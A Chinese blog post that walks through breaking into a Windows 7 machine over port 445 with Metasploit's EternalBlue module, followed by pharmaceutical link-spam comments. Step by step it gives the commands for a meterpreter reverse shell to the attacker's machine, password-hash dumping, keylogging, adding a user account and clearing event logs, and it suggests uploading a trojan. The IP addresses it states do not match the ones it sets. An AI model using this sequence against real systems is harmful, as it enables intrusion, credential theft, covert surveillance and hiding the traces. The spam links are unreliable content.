入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I'd like to pay this cheque in, please <a href="https://le-calendrier-pub.com/sleepwell-orthopedic-mattress-price-in-delhi-pzsp">sleepwell orthopedic mattress price in delhi</a>  The parents of three have now purchased a piece of property in their desired town of Franklin Lakes and will start building their new home this fall. In the meantime they will be renting in the area.
Wilmer 2个月前(08-30) 回复
Wonderfull great site <a href="https://www.bil-ibs.be/prilosec-and-trying-to-get-pregnant-qez0">prilosec and trying to get pregnant</a>  It is the largest amount ever raised by Barclays, and follows a detailed exercise by the Prudential Regulation Authority assessing the capital requirements of each of the UK&rsquo;s largest banks.
Darrin 2个月前(08-30) 回复
I'd like some euros <a href="https://elevationconcept.com/how-long-does-it-take-for-a-yeast-infection-to-clear-up-using-diflucan-il0f">how long does it take for a yeast infection to clear up using diflucan</a>  THE BACKGROUND: India now allows international companies to open multibrand retail stores with 51 percent ownership and an Indian minority partner. Foreign companies can operate 100 percent-owned wholesale chains, but few foreign companies have formally applied to open stores since the law passed last year.
Mitchel 2个月前(08-30) 回复
Is this a temporary or permanent position? <a href="https://maironiomokykla.net/wp/trazodone-100-mg-sleep-4x9r">trazodone joint pain</a>  Later Sunday, he issued a more pointed message to the region's bishops, telling them to better look out for their flocks and put an end to the "clerical" culture that places priests on pedestals — often with what Francis called the "sinful complicity" of lay Catholics who hold the clergy in such high esteem.
Faith 2个月前(08-30) 回复
Yes, I love it! <a href="https://explosivefunctionalfitness.com/himalaya-herbal-healthcare-himcolin-gel-359b.pdf">himcolin gel uk</a>  In addition, it has been announced that unemployed people with medical cards who return to work will automatically lose their full cards and will instead get a GP visit card. Until now, they were able to retain full cards for three years - 22,000 people will lose full medical cards under the new measure.
Charles 2个月前(08-30) 回复
this is be cool 8) <a href="http://www.edep.org/sporanox-package-insert.html">sporanox liquid chemist warehouse</a>  Congress knew or should have known of each and every one of the post-9/11 executive branch illegalities
Abdul 2个月前(08-30) 回复
I can't get a dialling tone <a href="http://kopekegitimi.com.tr/buy-casodex-150-mg">casodex sales rep virginia</a>  On Tiny Prints, forinstance, you can find holiday-type cards announcing a new baby under the&ldquo;Winter Birth Announcements&rdquo; category, and the site&rsquo;s moving announcementsection has a host of holiday-themed designs too
Leah 2个月前(08-30) 回复
Can you hear me OK? <a href="http://www.eidon.se/what-is-the-street-value-of-robaxin-750-mg/">picture of methocarbamol</a>  What&rsquo;s more, while apps on the app store are protected by &ldquo;digital rights management&rdquo; (DRM), letting Apple potentially revoke any download which it refunds, music sales are entirely DRM-free, meaning that unscrupulous fans could download the song, request a refund, and keep hold of the song anyway.
Homer 2个月前(08-30) 回复
Where's the postbox? <a href="http://sy-sol.dk/order-feldene/">prezzo feldene crema</a>  "He has climbed up to the top of the pyramid but he's still weak within the powerful political class," said Achmad Sukarsono, a political analyst at the Habibie Centre, think-tank
Isabel 2个月前(08-30) 回复
Yes, I play the guitar <a href="http://cityweddings.co.uk/trileptal-pris/">trileptal nombre comercial y generico</a>  Their vote came after Mayor de Blasio and Queens Borough President Melinda Katz replaced with new appointees a clique on the board that was loyal to Galante
Terence 2个月前(08-30) 回复
1 2 3 4 5 6 7 8 9 10 ... »